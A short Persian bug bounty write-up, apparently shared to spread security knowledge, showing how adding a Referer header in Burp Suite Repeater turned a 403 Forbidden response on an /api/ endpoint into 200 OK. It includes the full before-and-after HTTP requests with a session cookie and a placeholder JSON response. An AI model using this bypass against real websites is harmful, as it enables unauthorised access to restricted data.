رایتاپ
Bypass 403 forbidden page writeup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

هدف حمله کننده فرستادن درخواست دلخواه HTTP POST/GET به سرور است. این فرایند را از طریق تغییر پروکسی و فرستادن دیتای تعریف نشده برای سرور انجام می‌گردد. فرایند جعل درخواست امکان نشت اطلاعات و یا دور زدن منطق کسب و کار را دارد.

در سناریو انجام شده، دسترسی به آدرس مورد نظر و بسیاری از آدرس های دیگر وب سایت هدف با کد 403 می باشد. می توان با استفاده از افزودن هدر این محدودیت را دور زد و به بعضی از اطلاعات محرمانه دسترسی پیدا کرد.

نحوه تست:

  • ریکوئست مسیر آسیب‌پذیری به repeater از نرم‌افزار burp suite ارسال شود:
 GET /api/ HTTP/1.1 Host: test.example.ir Cookie: csrftoken=bpgxfnF7ZktW82343456467mEDrbrdbwd88OnSHZmlvRzwAv3PU3DIjbP Cache-Control: max-age=0 Connection: close 
  • در صورت ارسال ریکوئست، سرور خطای 403 Forbidden را برمی‌گرداند.
  • برای دور زدن این محدودیت در بخش هدر ریکوئست مقدار Referer: http://example.ir اضافه شود و دوباره ریکوئست را ارسال می‌کنیم.
  • مشاهده می‌شود پاسخ سرور نسبت به ریکوئست قبلی متفاوت و 200 می‌باشد.

ریکوئست تغییر یافته:

 GET /api/ HTTP/1.1 Host: test.example.ir Cookie: csrftoken=bpgxfnF7ZktW82343456467mEDrbrdbwd88OnSHZmlvRzwAv3PU3DIjbP Cache-Control: max-age=0 Referer: http://example.ir Connection: close 

پاسخ سرور به ریکوئست تغییر یافته و دور زدن محدودیت مشاهده صفحات وب سایت:

 HTTP/1.1 200 OK Server: nginx Content-Type: application/json Content-Length: 916 Connection: close [{"data": "\data\ data\ data\ data\ data\data\ data\ data\ data\ data\ data\ data\ data\ data\ "}]